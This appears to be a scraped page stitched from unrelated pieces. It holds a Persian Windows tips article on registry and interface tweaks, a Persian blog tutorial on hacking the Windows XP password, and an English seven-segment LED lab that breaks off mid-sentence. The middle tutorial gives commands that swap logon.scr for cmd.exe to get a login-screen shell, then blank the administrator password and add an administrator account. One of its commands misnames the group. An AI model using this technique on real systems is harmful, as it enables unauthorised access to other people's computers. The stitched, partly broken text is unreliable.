ترفندهاي ويندوز

ترفندهاي ويندوز

 

تغيير در منويNew  با كليك راست بر روي موش متناسب با سليقه خود، استقبال از دنياي كليكهاي دو مرحله‌اي و يك محافظ صفحه نمايش بزرگ

 

نويسنده: Scott Dunn

مترجم: شراره حداد

 

وقتي من با كليد راست موش روي دسك تاپ ويندوز را كليك كرده و براي ايجاد يك ميانبر يا پوشه منويNew  را انتخاب مي‌كنم، نه تنها به گزينه‌هاي مربوط بهshortcut  وfolder  دستيابي پيدا مي‌كنم بلكه از ليست كامل اسنادي برخوردار مي‌شوم كه هر برنامه موجود روي دستگاهم را به من نشان مي‌دهد. آيا مي‌توانم محتويات روي اين ليست را تغيير دهم؟

 

گرچه مايكروسافت كار كاربران را در اختصاصي كردن زير منويNew  در منوي اصلي كه با كليك راست موش مسير مي‌شود را ساده نكرده است، اما شما مي‌توانيد در صورت تمايل با بالا زدن آستينها و براي غرق شدن در رجيستري و جستجوي آن، اينكار را انجام دهيد ولي ايجاد تغييرات در رجيستري ممكن است باعث بروز مشكلاتي جدي شود (مثل ناتواني در راه‌اندازي ويندوز)، بنابراين با مسئوليت خودتان كار را ادامه دهيد.

 

افزودن يك آيتم به منو

ابتدا، ببينيد چه نوع فايلي را مي‌خواهيد به منو اضافه كنيد و چه برنامه‌هايي اين فايلها را باز مي‌كنند. براي برنامه‌هايي مثل Microsoft Paint، WordPad، Notepad كه هميشه با يك سند جديد باز و آماده براي شروع كار شما مي‌شوند، به هيچ آمادگي خاصي نياز نداريد ولي در مورد برنامه‌هايي كه با هيچ سندي باز نمي‌شوند (مثل نرم‌افزار ويرايشگر تصوير 25 دلاري به نامPolyView  كه از طريق سايت Polybytes Software به آدرس http://www.polybytes.com در دسترس مي‌باشد). ابتدا يك فايل نمونه را ايجاد و ذخيره نماييد. براي اينگونه برنامه‌ها بايد يك سند نمونه را به روش دلخواه خود ايجاد و سپس آنرا در پوشهShellNew  در ويندوز ذخيره كنيد. اين پوشه در بعضي از  سيستمها پنهان مي‌باشد، بنابراين ممكن است ابتدا لازم باشدView  و سپس Options را در (ويندوز 95) و ياView  و Folder Options در ويندوز 98 و نسخه‌هاي بعدي آن يا ويندوز 95 به همراه ويژگيDesktop update  اينترنت اكسپلورر 4) انتخاب نماييد. رويView  را كليك كنيد و عبارت Show All Files را انتخاب نموده و بعدOK  را كليك نماييد.

 

اكنون بدين طريقWindows Registry editor  را فعال كنيد:

StartèRun را انتخاب كرده،regedit  را تايپ كنيد و Ok را كليك نماييد. روي علامت (+) را كه كنارHKEY_CLASSES_ROOT  قرار دارد كليك كنيد. يكسري پوشه مي‌بينيد كه در پنجره سمت چپ پسوندهاي سندي قرارگرفته است كه ويندوز به برنامه‌هاي مخصوص اختصاص داده (مثل پسوندهاي html, xls , doc). پسوند نوع فايلي را كه مي‌خواهيد به زير منويNew Key  اضافه نمائيد را انتخاب كنيد. سپس آن را كليك راست كنيد. (در registry، هر آيكون پوشه بعنوان يك كليد در نظر گرفته شده). نام كليد جديد را ShellNew بگذاريد و جهت تكميل فرآيند نامگذاريEnter  را فشار دهيد. با  برخورداري از پوشه جديد انتخابي خود، با كليد راست موش روي يك فضاي خالي از پنجره راست را كليك كنيد و NewèString value را انتخاب نماييد. اگر از نوع فايلي استفاده مي‌كنيد كه برنامه آن با يك سند خالي پيش فرض اجرا مي‌شود، نام آيكون جديد را Null file بگذاريد وENTER  را فشار دهيد. بعبارت ديگر، اگر از فايلي استفاده مي‌كنيد كه برنامه آن با هيچ سندي كار نمي‌كند نام آيكون را Filename بگذاريد. دوباره روي ايكونFilename  را كليك كنيد (ياEnter  را فشار دهيد) و برايValue data  مسير كامل و نام فايل نمونه‌اي را تايپ كنيد كه در پوشه ShellNew ويندوز ذخيره كرده‌ايد و سپسOk  را كليك كنيد و از برنامه Registry Editor خارج شويد. تغييرات انجام شده شما فورا روي زير منوي New ظاهر مي‌شود.

 

مثال: جهت ايجاد يك پيام پستي جديدOutlook Express  با كليك راست بر رويDesktop  يا در يك پوشه، (براي مثال، ذخيره كپي‌هاي پيامهاي شخصي بصورت فايلهاي جداگانه)،Outlook Express  را فعال وMail Message , new file را انتخاب نماييد هر متن قابل جابجايي را كه مي‌‌خواهيد به پيام اضافه كنيد. سپس FileèSave As را انتخاب كنيد و بعد فايل را با تمامي مثلBlank  در پوشهShellNew  در پوشه ويندوز خود ذخيره نماييد. (Outlook Express بطور خودكار پسوند.eml  را اضافه مي‌كند) سپس، همانطور كه گفته شدRegistry Editor  را فعال نماييد و پوشه.eml  را در HKEY_CLASSES_ROOT  پيدا كنيد. يك كليدShellNew  ايجاد كرده و سپس در آن كليد، آيكونStringValue  را ايجاد و نام آن راFileName  بگذاريد. دوباره روي آيكونFileName  را كليك كنيد و عبارت C:\Windows\ShellNew\Blank.eml را در پنجرهValue data  تايپ كنيد (نام فايل و مسير شما ممكن است متفاوت باشد). سپسOk  را كليك كرده و از Registry  خارج شويد.

جهت آزمايش، با كليد راست موش روي Desktop را كليك كنيد وNewèOutlook Express Mail Message  را انتخاب نماييد. يك آيكون پيام جديد روي دسك تاپ ظاهر مي‌شود. آنرا نامگذاري كرده وEnter  را فشار دهيد. دو بار روي آيكون را كليك و پيام خود را تايپ كنيد. وقتي كارتان تمام شد، رويSend  را كليك كنيد تا پيام درOutbox  قرارگيرد. حذف آيكون پيام جديد، پيام را از outbox  حذف نخواهد كرد، بلكه اين فقط تكنيكي است براي ايجاد پيامهاي پستي و ذخيره كپي‌ها بعنوان فايلهاي شخصي در خارج از Outlook Express (يا هر سيستم پست الكترونيكي مشابه آن).

 

حذف يك آيتم از منو

بسته به كاري كه مي‌خواهيد انجام دهيد، روشهاي مختلفي براي حذف آيتمها از زير منويNew  وجود دارد. به اين سه روش توجه كنيد:

1-      براي حذف فايلي كه به برنامه آن چندان نياز نداريد، بهترين كار اين است كه كل برنامه راuninstall  نماييد. لذا دو بار روي آيكون Add/Remove Programs درControl Panel  كليك كنيد، نام برنامه را از ليست جدولInstall/Uninstall  انتخاب كرده و Add/Remove را كليك نماييد. از دستورالعملهاي روي صفحه نمايش براي حذف اين نرم‌افزار پيروي كنيد. با انجام اين مراحل بايد آيتم براحتي از زير منويNew  حذف شود.

2-      اگر آيتم نو باز هم پس از اينكه نرم‌افزار را بطور دستي حذف نموديد باقي بماند، به Explorer  مراجعه كرده وViewèOptions  و يا ViewèFolder Options  را  انتخاب كنيد و جدول File Types  را كليك نماييد.

نوع فايلي را كه به آن نياز نداريد انتخاب كنيد وRemove  را كليك كنيد. روي Yes را بمنظور تاييد عمل حذف، كليك كنيد. با اين عمل اين فايل از ليست فايلهاي مربوطه، ازRegistry  و از زير منويNew  حذف خواهد شد.

3-      اگر مي‌خواهيد برنامه مربوط به اين نوع فايل را حفظ كنيد ولي آيكون آنرا از زير منويNew  حذف نماييد، بايد همانطور كه قبلا ذكر شد ويرايشگرRegistry  را باز نماييد. روي علامت (+) كنار HKEY_CLASSES_ROOT  را كليك كنيد. پوشه حاوي پسوند نوع فايلي را كه مي‌خواهيد حذف، پيدا و علامت (+) كنار آن را كليك نماييد. در پنجره درختي سمت چپ، پوشهShellNew  را تحت يك پسوند مناسب انتخاب كنيد. در اين نقطه، مي‌توانيد فقط از اين شاخه در صورت تغيير عقيده، پشتيبان تهيه نماييد. Registry وExport Registry file  را انتخاب كنيد. نام و محلي را به آن اختصاص دهيد و اطمينان حاصل كنيد كه شاخه انتخابي شما، انتخاب شده باشد و بعد روي Save را كليك كنيد.FileName  يا Null file را (هر كدام كه هست) در پنجره سمت راست انتخاب كنيد وDelete  و سپسEnter  را فشار دهيد. اگر مي‌خواهيد اين آيتم را دوباره در منو كپي كنيد، فايل .reg را كه خارج ساخته‌ايد پيدا كنيد و بعد دو بار روي آنرا كليك نماييد تا آنرا درRegistry  قرار داده و به وضع اول برگردانيد.

 

حركت روي منو

وقتي در ويندوز 95 منويPrograms  (يا هر زير منوي ديگر آن) كه روي Start قرار گرفته خيلي بزرگ مي‌شود، به چند پانل تقسيم مي‌شود.

اگر بخشDesktop update  اينترنت اكسپلورر 4 يا ويندوز 98 را نصب نموده‌ايد، منو ديگر به پانلي تبديل نمي‌شود ولي بصورت طوماري نمايش داده مي‌شود و شما مي‌توانيد با استفاده از كليدهاي نشانگر، آنرا حركت دهيد. بمنظور حركت سريع به طرف بالا و پايين منو، همزمان با كليك كردن روي پيكان در انتهاي منو، كليد CTRL را فشار دهيد. اين تكنيك نيز با Toolbar روي taskbar كار مي‌كند: اگر بعضي از آيكونها با Toolbar موجود هماهنگي ندارند مي‌توانيد كليدCTRL  را با فشردن موش خود روي كليد پيكان، فشار دهيد تا سرعت حركتintrabar  را افزايش دهيد. متاسفانه، اين ويژگي در صورت نصب اينترنت اكسپلورر 5 يا ويندوز 98SE از بين مي‌رود.

در ويندوز 2000 نيز از حركت سريع برخوردار نخواهيد بود ولي در اين ويندوز حداقل مي‌توانيد بين برخورداري از منويPrograms  كه به چند پانل تقسيم مي‌شود و يا ظاهر شدن آن بصورت يك منويscrolling  تنها يكي را انتخاب كنيد. منوهاي بزرگ همانگونه كه در ويندوز 98 بصورت پيش فرض آورده شده، قابليت حركت دارند. اگر مي‌خواهيد به شكل پانل منوي ويندوز 95 برگرديد با كليد راست موش روي يك فضاي خالي Taskbar را كليك كنيد و Properties  را انتخاب نماييد. روي جدولAdvanced  را كليك كنيد. بسوي انتهاي گزينه‌هاي Settings در منوي Start حركت كنيد و عبارت Scroll the Programs menu را از حالت انتخاب درآوريد. سپس OK را كليك نماييد.

 

ترفندهاي تقويت Double-Click

عمل يك بار كليك گزينه يا فايل را انتخاب مي‌كند، دو بار كليك نيز برنامه را باز كرده يا فعال مي‌سازد. اين بايد اولين چيزي باشد كه شما براي استفاده از يك موش آموخته‌ايد. ولي مي‌توانيد حركتها و كليك كردنهاي بسياري را ذخيره كنيد و زمان را در صورت اطلاع از همه روشها براي استفاده از عمل دو بار كليك كردن، كند نماييد.

ممكن است بعضي از مطالب براي شما جذابيتي نداشته باشند ولي حسن آن اين است كه ترفند جديدي را ياد مي‌گيريد كه مي‌توانيد آنرا به دانسته‌هاي قبلي خود بيافزاييد.

 

Maximize يا Restore: دو بار روي يك نوار عنوان پنجره را جهت حركت بين بزرگترين اندازه پنجره و اندازه قبلي آن، كليك كنيد.

Expand يا از Collapse: دو بار روي يك پوشه در درخت پوشه اكسپلورر را كليك كنيد تا پوشه‌هاي فرعي قرار گرفته در آن پوشه را پنهان يا نمايان سازيد.

 

اين روش با درخت پوشه RedEdit نيز كار مي‌كند.

سايزبندي مجدد Details: اگر از Windows Explorer در نمايشDetails  استفاده مي‌كنيد، (انتخابView  و سپسDetails ) مي‌توانيد بلافاصله اندازه ستون جزئيات مربوط به هر فايلي را تغيير دهيد (مثل Name، Size، Type، Modified و غيره). براي اين كار، بر روي خط عمودي كه ستونها را از يكديگر جدا مي‌كند (خط عمودي عناوين)، بزرگترين عنصر ستون را با ستون مربوطه متناسب مي‌سازد. در ضمن مي‌توانيد براي تغيير اندازه تمام ستونها در يك زمان از كليد CTRL-+ استفاده نمائيد.

تغيير در تنظيمات مربوط به ايمني: آيا از تنظيمات ايمني وب خود احساس ناامني مي‌كنيد؟ پس دو بار روي آيكونInternet  در انتهاي سمت راست status bar پنجره Internet explorer  كليك كنيد. در ويندوز 2000 مي‌توانيد دو بار روي آيكون My Computer  را در انتهاي سمت راست پنجره پوشه يا Explorer كليك كنيد. يكي از 4 عنوان Trusted sites، local intranet، internet و يا Restricted sites  واقع شده در بالا را انتخاب كنيد و سپس تنظيم مربوط به آن را بطور دلخواه تغيير دهيد.

اصلاح ابزارهاي tray: آيا لازم است ساعت يا تقويم سيستم خود را مجددا تنظيم نماييد؟ چطور مي‌خواهيد آيتم ها را به پوشهScheduled  (در ويندوز 98 يا 2000)  يا Microsoft Plus  اضافه يا از آنجا حذف نماييد؟ آيا مي‌خواهيد ولوم صداي پخش سي‌دي خود را تنظيم كنيد؟ مي‌توانيد همه اين كارها را با دو بار كليك بر روي ساعت يا آيكون مربوطه در محلTray  كه در سمت راست Taskbar قرار دارند، انجام دهيد.

 

تغيير اندازه Toolbar

اين ترفند فقط با نسخه‌هاي ويندوزي كاربرد دارد كه از 2 يا چند تول بار روي يك خط پشتيباني مي‌كنند (كه شامل ويندوز 95 به همراه Internet Explorer يا نسخه بعد از آن مي‌شود). وقتي چند Toolbar در يك فضاي افقي يا عمودي بطور مشترك قرار مي‌گيرند، يك نوار برجسته شده آنها را از يكديگر جدا مي‌سازد. شما مي‌توانيد اين نوار را براي جابجا كردن تول بار يا تغيير اندازه آن، با موش حركت دهيد. يا اينكه مي‌توانيد 2 با روي اين نوار عنوان را براي دستيابي به انواع گزينه‌هاي مخصوص تغيير اندازه كليك نماييد، جهت تغيير اندازه فوري يك Toolbar و مشاهده بزرگترين اندازه اجزا، دو بار روي نوار مجزا كننده (يا روي نام Toolbar را در صورت رويت) كليك كنيد. براي مرتبه دوم دو بار روي آن جهت كوچك كردن تول بار به كوچكترين اندازه آن، كليك كنيد و براي تغيير اندازه تول بار بهPerfect size  يعني كوچكترين اندازه‌اي كه همه اجزا روي نوار را نشان مي‌دهد، براي مرتبه سوم نوار فوق را دوبار كليك كنيد.

اين گزينه آخر براي Address bar يا تول بارهاي داراي اجزا زياد جهت قرار گرفتن و هماهنگي روي يك خط، در دسترس نمي‌باشد. از اين ترفند روي Taskbar، روي Toolbarهاي شناوري كه بطور مشترك روي يك پالت شناور قرارگرفته‌اند و نيز روي Toolbarهاي موجود درInternet Explorer, Windows Explorer و برنامه‌هايMicrosoft office  استفاده كنيد. بطور طبيعي تعداد كليكهاي دو باره‌اي كه بايد انجام شود بستگي به وضعيت Toolbar در هنگام ورود شما به اين چرخه دارد. چون برنامه‌هايMicrosoft office  فاقد اين چرخه هستند، بنابراين تنها تاثير دوبار كليك اين است كه مي‌توان Toolbar را بمنظور نمايش همه اجزا روي آن بزرگ نمود. (يا حداقل به حدي كه متناسب باشد).

 

يك ترفند مفيد ديگر

اگر مي‌خواهيد براي اطمينان از اينكه در هنگام تغيير اندازه Toolbarها روي محل درستي را دو بار كليك كرده‌ايد، از تاييد بطور صوتي برخوردار شويد (يا خواهان جلوه صوتي هستيد)، StartèSettingsèControl Panel  را انتخاب كرده و دو بار روي آيكونSounds  را در ويندوز9x  ياSounds and Multimedia را در ويندوز 2000 كليك نماييد. در ليست events رخدادها، Show Toolbar band را انتخاب كنيد و سپس از ليست Name ظاهر شده، يك نوع صدا را انتخاب يا رويBrowse  را در ليستEvents  كليك نماييد. فايل.wav  را انتخاب وOk  را كليك كنيد. سپسOk  را بمنظور بستن پنجره Sound Properties كليك نماييد. صداي مورد نظر ما پس از اينكه دو بار روي يك پارتيشن يا نامtoolbar  را كليك نموديد، پخش خواهد شد. متاسفانه اين جلوه صوتي در ويندوز 9x به همراه IE5 يا در ويندوز 98SE  كاربرد ندارد.

 

جعبه ابزار ويندوز

صفحه نمايش خود را ذخيره كنيد و از اين بابت غرق در شگفتي شويد.

يك محافظ صفحه نمايش خوب مي‌تواند مانع از مزاحمت‌هاي تصادفي در دنياي كامپيوتري شخصي شما شود و سرگرميهاي بسياري را برايتان فراهم سازد. در حقيقت، بعضي از محافظهاي صفحه نمايش مثلGiess ، ابتكار Ryan M.Geiss، حتي صلاحيتهاي كارهاي هنري را نيز دارند. گويي تصاوير گرافيكي جذاب و متنوع كافي نبودند كهGeiss  مي‌توانند به موسيقي نيز از سي‌دي‌هاي صوتي و ديگر منابع صوتي، پاسخ دهد. اين برنامه هم بعنوان يك محافظ صفحه نمايش و هم بعنوان يك برنامه هم بعنوان يك محافظ صفحه نمايش و هم بعنوان يك برنامه  افزودني همراه نرم‌افزار رايگان Mp3 player win amp  عرضه مي‌شود و بطور رايگان از وب سايت طراح آن در آدرس http://www.geisswerks.com در دسترس خواهد بود.

هک کردن پسورد ویندوز xp در سرويس پك 1

هک کردن پسورد ویندوز xp در سرويس پك 1 و نسخه هاي پايين تر!!

امتیاز: / 0
بدعالی 

نگارش یافته توسط danial   

هک کردن پسورد ویندوز xp در سرويس پك 1 و نسخه هاي پايين تر!! 

امروز اولين مقاله اي كه ميزارم و مي خوام روشي ساده به شما ياد بدم كه به راحتي پسورد ويندوز Xp عوض كنيد(روي ويندوز ۲۰۰۰ تست نكردم نمي دونم جواب مي ده)

اين آموزش روي ويندوزهاي XP  كه داراي سرويس پك ۱ و نسخه‌هاي پايين تر هستن جواب ميده.

ما توسط باگي كه در نسخه هاي ذكر شده وجود داره به راحتي مي تونيم پسورد ويندوز رو تغيير يا پاك كنيم.

....

هک کردن پسورد ویندوز xp در سرويس پك 1 و نسخه هاي پايين تر!! 

امروز اولين مقاله اي كه ميزارم و مي خوام روشي ساده به شما ياد بدم كه به راحتي پسورد ويندوز Xp عوض كنيد(روي ويندوز ۲۰۰۰ تست نكردم نمي دونم جواب مي ده)

اين آموزش روي ويندوزهاي XP  كه داراي سرويس پك ۱ و نسخه‌هاي پايين تر هستن جواب ميده.

ما توسط باگي كه در نسخه هاي ذكر شده وجود داره به راحتي مي تونيم پسورد ويندوز رو تغيير يا پاك كنيم.

 

خوبه به چه صورت؟

 

مراحل به اين صورته(البته براي فهم بهتر بايد كمي با فرمانهاي داس آشنا باشين):

 

۱ - شما مي تونيد از طريق يه يوزر محدود(غير از ادمين) وارد ويندوز بشين يا با استفاده از يه ديسكت بوتيبل(bootable)، حالا به هر طريقي درست شده باشه سيستم رو بوت كنيد.

 

2 - خوب حالا اگه با يه يوزر محدود وارد شده ايد اين دستورات رو وارد كنيد تا وارد command promt بشيم

از منوي start وارد run بشين و دستور cmd رو وارد كنيد (به صورت خلاصشم گزاشتم):

 

start > Run > cmd (ENTER)

 

و اگر با ديسكت بوت كردين فقط اين فرمان رو تايپ كنيد(با فزض اين كه ويندوز شما روي درايو C نصب شده باشد)

 

C:

 

3 - حالا اين دستورات رو به ترتيب وارد كنيد :

 

cd\

cd \windows\system32

md mybackup

copy logon.scr mybackup

copy cmd.exe mybackup

del logon.scr

copy cmd.exe logon.scr

 

 

شرح خط به خط كاري كه الان انجام داديم

 

خط اول : به ريشه مي پريم(منظور همون درايو C  هست)

خط دوم: وارد شاخه windows\sytem32 ميشيم

خط سوم: يه فولدر با نام mybackup يا هرنام ديگه كه ميلتونه مي سازيم

خط چهارم: يه كپي از فايل logon.scr در فولدري كه ساختيم يعني mybackup قرار مي ديم. (لازم به ذكره كه فايله logon.scr يك اسكرين سيور هست. كه وقتي در صفحه وارد كردن يوزر و  پسورد ما 10 دقيقه صبر مي كنيم اين اسكرين سيور نمبيان ميشود)

خط پنجم:  يه كپي از فايل cmd.exe در پوشه اي كه ساختيم قرار ميديم.

خط ششم: حالا فايل logon.scr رو پاك مي كنيم

خط هفتم:  يكي كپي از فايل cmd.exe رو با نام logon.scr در داركتوري windows\system32  كه قبلا داخلش شديم مي گيريم (در واقع ما مي خوايم به جاي اسكرين سيور خط فرمان داس برايمان اجرا بشه)

 

4 - خوب ما تا اينجا قسمت وقت گير كار رو انجام داديم حالا بايد يه رستارت بديم تا به جايي برسيم كه از ما يوزر و پسورد بخواد و حدودا 10 دقيقه صبر مي كنيم بدون اينكه موس رو تكون بديم يه چيزي تايپ كنيم تا اسكرين سيور(الان منظورم خط فرمان داس كه با فايل اسكرين سيور عوضش كرديم) بياد.

 

5 - وقتي خط فرمان آمد با فرمان هاي زير مي تونيم پسورد ويندوز رو تغيير، پاك يا حتي يه يوزر اضافه كنيم.

 

خوب براي پاك كردن پسورد ادمين(administrator) از اين فرمان(براي تغيير هم داخل "" هرچي مي خواين بزارين) :

 

net user administrator ""

 

براي ساخت يه يوزر از اين دستور(كه به جاي username يوزر مورد نظر و به جاي password هم پسورد مورد نظر):

 

net user username password /add

 

حالا براي اينكه سطح دسرسي يوزري كه ساختيم به administrator برسونيم از اين دستور استفاده مي كنيم(كه به جاي username يوزري كه ساخيم رو قرار ميديم):

 

net localgroup administrator username /add

 

6 - خوب حالا با دستور exit از خط فرمان خارج بشين و با يوزر administrator يا هر يوزري كه ساخيت وارد بشين.

 

و بعد داخل شدن هم به شاخه windows\system32\mybackup برين و هر چي تو فولدر mybackup گزاشتين رو به شاخه windows\system32 بر گردونيد و فولدر mybackup رو پاك كنيد اين كارا رو ديگه با خود ويندوز مي تونيد بكنيد و نيازي به وارد شدن به خط فرمان رو هم نداره

 

خوب اينم از آموزش ما اميدوارد استفاده لازم رو برده باشين.(اگر موردي چيزي داشتين بگين تا رفع كنيم)

 

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The Seven-Segment LED

Introduction

One common requirement for many different digital devices is a visual numeric display. Individual LEDs can of course display the binary states of a set of latches or flip-flops. However, we're far more used to thinking and dealing with decimal numbers. To this end, we want a display of some kind that can clearly represent decimal numbers without any requirement of translating binary to decimal or any other format.

One possibility is a matrix of 28 LEDs in a 7×4 array. We can then light up selected LEDs in the pattern required for whatever character we want. Indeed, an expanded version of this is used in many ways, for fancy displays. However, if all we want to display is numbers, this becomes a bit expensive. A much better way is to arrange the minimum possible number of LEDs in such a way as to represent only numbers in a simple fashion.

This requires just seven LEDs (plus an eighth one for the decimal point, if that is needed). A common technique is to use a shaped piece of translucent plastic to operate as a specialized optical fiber, to distribute the light from the LED evenly over a fixed bar shape. The seven bars are laid out as a squared-off figure "8". The result is known as a seven-segment LED.

We've all seen seven-segment displays in a wide range of applications. Clocks, watches, digital instruments, and many household appliances already have such displays. In this experiment, we'll look at what they are and how they can display any of the ten decimal digits 0-9 on demand.

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Seven-Segment Display Layout

The illustration to the right shows the basic layout of the segments in a seven-segment display. The segments themselves are identified with lower-case letters "a" through "g," with segment "a" at the top and then counting clockwise. Segment "g" is the center bar.

Most seven-segment digits also include a decimal point ("dp"), and some also include an extra triangle to turn the decimal point into a comma. This improves readability of large numbers on a calculator, for example. The decimal point is shown here on the right, but some display units put it on the left, or have a decimal point on each side.

In addition, most displays are actually slanted a bit, making them look as if they were in italics. This arrangement allows us to turn one digit upside down and place it next to another, so that the two decimal points look like a colon between the two digits. The technique is commonly used in LED clock displays.

Seven-segment displays can be packaged in a number of ways. Three typical packages are shown above. On the left we see three small digits in a single 12-pin DIP package. The individual digits are very small, so a clear plastic bubble is molded over each digit to act as a magnifying lens. The sides of the end bubbles are flattened so that additional packages of this type can be placed end-to-end to create a display of as many digits as may be needed.

The second package is essentially a 14-pin DIP designed to be installed vertically. Note that for this particular device, the decimal point is on the left. This is not true of all seven-segment displays in this type of package.

One limitation of the DIP package is that it cannot support larger digits. To get larger displays for easy reading at a distance, it is necessary to change the package size and shape. The package on the right above is larger than the other two, and thus can display a digit that is significantly larger than will fit on a standard DIP footprint. Even larger displays are also available; some digital clocks sport digits that are two to five inches tall.

Seven-segment displays can be constructed using any of a number of different technologies. The three most common methods are fluorescent displays (used in many line-powered devices such as microwave ovens and some clocks and clock radios), liquid crystal displays (used in many battery-powered devices such as watches and many digital instruments), and LEDs (used in either line-powered or battery-powered devices). However, fluorescent displays require a fairly high driving voltage to operate, and liquid crystal displays require special treatment that we are not yet ready to discuss. Therefore, we will work with a seven-segment LED display in this experiment.

---

Schematic Diagram

As shown in the two schematic diagrams above, the LEDs in a seven-segment display are not isolated from each other. Rather, either all of the cathodes, or all of the anodes, are connected together into a common lead, while the other end of each LED is individually available. This means fewer electrical connections to the package, and also allows us to easily enable or disable a particular digit by controlling the common lead. (In some cases, the common connections are made to groups of LEDs, and the external wiring must make the final connections between them. In other cases, the common connection is made available at more than one location for convenience in laying out printed circuit boards. When laying out circuits using such devices, you simply need to take the specific connection details into account.)

There is no automatic advantage of the common-cathode seven-segment unit over the common-anode version, or vice-versa. Each type lends itself to certain applications, configurations, and logic families. We'll learn more about this in later experiments. For the present, we will use a common-cathode display as our experimental example.

---

Parts List

To construct and test the seven-segment LED display on your breadboard, you will need the following experimental parts:

• (1) Common-cathode seven-segment LED display (Texas Instruments TIL322A or equivalent). 
• Orange hookup wire. 
• Black hookup wire. 

---

Constructing the Circuit

Select an area on your breadboard socket that is clear of other circuits. You'll need one set of five bus contacts for this project. Then refer to the image and text below and install the parts as shown.

---

Circuit Assembly

Starting the Assembly

Since your original breadboard socket is full, or has had its circuitry transferred elsewhere, we will not specify the lengths of jumpers for the assembly of this project; you will need to select an appropriate length for each jumper for yourself, as well as make the appropriate +5 volt and ground connections. The location we have shown for the construction of this project, to the right of the center of your breadboard socket, is selected to leave room for subsequent projects that will expand on this one.

Click on the `Start' button below to begin. If at any time you wish to start this procedure over again from the beginning, click the `Restart' button that will replace the `Start' button.

0.3" Black Jumper

Locate or prepare a 0.3" black jumper and install it in the location shown in the assembly diagram to the right.

Click on the image of the jumper you just installed to continue.

Common Cathode 7-Segment LED Display

Locate your 7-segment LED display and look closely at the top surface. Along with the main segments, you'll find a small round element that is the decimal point to the right of one of the horizontal segments. If you are substituting a different display type, you may also find a similar element to the left.

Install the display so that the decimal point is closest to you, in its normal position for a decimal number. Be sure the display is centered between the available contacts on the bus strips of your breadboard socket. The black jumper should ground the center pin among the five under the top edge.

Click on the image of the led display you just installed to continue.

Orange Jumper

Locate or prepare an orange jumper. Connect one end of this jumper to the location shown to the right. Connect the other end to S0.

Click on the image of the jumper you just installed to continue.

Orange Jumper

Locate or prepare a second orange jumper. Connect one end of this jumper to the location shown in the assembly diagram. Connect the other end to S1.

Again, click on the image of the jumper you just installed to continue.

Orange Jumper

Locate or prepare another orange jumper. Connect one end of this jumper to the location shown to the right. Connect the other end to S2.

As before, click on the image of the jumper you just installed to continue.

Orange Jumper

Locate or prepare another orange jumper. Connect one end of this jumper to the location shown in the assembly diagram. Connect the other end to S3.

Again, click on the image of the jumper you just installed to continue.

Orange Jumper

Locate or prepare another orange jumper. Connect one end of this jumper to the location shown to the right. Connect the other end to S4.

As usual, click on the image of the jumper you just installed to continue.

Orange Jumper

Locate or prepare another orange jumper. Connect one end of this jumper to the location shown in the assembly diagram. Connect the other end to S5.

As before, click on the image of the jumper you just installed to continue.

Orange Jumper

Locate or prepare another orange jumper. Connect one end of this jumper to the location shown to the right. Connect the other end to S6.

Again, click on the image of the jumper you just installed to continue.

Orange Jumper

Locate or prepare one more orange jumper. Connect one end of this jumper to the location shown in the assembly diagram. Connect the other end to S7.

Once more, click on the image of the jumper you just installed to continue.

Assembly Complete

This completes the construction of your experimental circuit. Check your assembly carefully against the figure to the right, and correct any errors you might find. Then, proceed with the experiment on the next part of this page.

---

Performing the Experiment

Set all eight logic switches to logic 0, and turn on power to your experimental circuit. At this point, all LED segments should be off.

Step 1. Set S7 to logic 1 and note the result on your LED display. Referring to the figure to the right, which segment is controlled by S7? When you have determined this, set S7 again to logic 0. Locate the appropriate segment letter in the table to the right, and fill in the digit 7 (for S7) in the cell immediately to the right (under the column headed "Normal").

Repeat this action for each of the remaining logic switches. Take note of which switch controls each segment as you verify that all segments of the display work properly. Fill in the switch numbers in the table to the right, matching up each segment with its controlling switch.

Step 2. Now, set S5 and S4 to logic 1, and all other switches to logic 0. How does this affect the LED display?

Step 3. Without changing anything else, carefully remove the LED display from your breadboard socket and reverse it, end-for-end. This will put the decimal point in the upper left corner of the display. Re-insert it into the same location on your breadboard socket in its new, reversed orientation. What is the resulting display?

Step 4. Set S7, S6, S3, S2, and S1 to logic 1. This should leave only S0 set to logic 0. Note the resulting LED configuration. Now remove and reverse the LED display as you did before, thus returning it to its original orientation. What effect does this have on the displayed digit?

Step 5. Set S7 to logic 0 and S0 to logic 1. How does this change the working display?

---

Step 6. Reverse the LED display once again, so that the dp is again at the upper left instead of at the lower right. Using the general segment identifications for the reversed display as shown at the top of the table (segment "a" is still at the top of the display), test each switch one by one, and fill in the table under the column headed "Reversed." Compare your findings for the normal and reversed display orientations. Can you think of any reason for arranging it this way? Restore the LED display to its original orientation.

Step 7. Which segments would you turn on to display the digit 2? Try it and verify your conclusion. Try generating each of the digits 0 through 9 by turning various segments on and off. Verify that all ten digits can be displayed and easily recognized.

When you have made your determinations, turn off the power to your experimental circuit and compare your results with the discussion below.

Segment	Normal	Reversed
a	S	S
b	S	S
c	S	S
d	S	S
e	S	S
f	S	S
g	S	S
dp	S	S

---

Discussion

When you tried out the various logic switches, you found that S7 controlled the decimal point and that S6 through S0 controlled segments a through g in order. This allows easy correlation between switches and segments.

When you turned on segments b and c (S5 and S4), the display responded with the digit 1. Logically, we could use either segments b and c or segments e and f for the digit 1, but standard practice is to put this digit on the right.

When you reversed the LED display and re-installed it, the digit 1 still appeared, and still on the right hand side of the display. Thus, connections to these segments must be in the same places, although we didn't determine at this point which switch controlled which of the two segments in this orientation.

When you turned on every switch except S0, you saw a digit 8, where all seven segments were turned on. However, when you reversed the LED display unit again, you saw a digit 0 with the decimal point turned on. This indicated that the decimal point and segment g are connected to opposite but corresponding pins.

To verify this and all other connections, you reversed the LED display once more and then identified which switch controls which segment in the inverted position. You discovered that S6 through S1 still controlled segments a through f, whether the LED display is right side up or upside down. Only segment g and the decimal point are interchanged.

This arrangement is deliberate. It often simplifies the layout of printed circuit boards. In addition, a common technique used in digital clock displays is to turn the tens of minutes digit upside down and use its decimal point in tandem with the hours digit decimal point to form a colon.

Most single-digit 7 segment displays are set up this way, with the segment connections symmetrical. In some cases, however, the common connection is not shared among all LEDs. Rather, multiple common connections (common cathode for this experiment) must sometimes be linked externally to enable all segments. In the case of the LED display we specified for this experiment, all LED cathodes are connected together, and to the center pins at the top and bottom of the package. The black jumper grounded the cathodes regardless of the orientation of the display. The actual pin connections to the specified display unit are ('K' represents the common cathode):

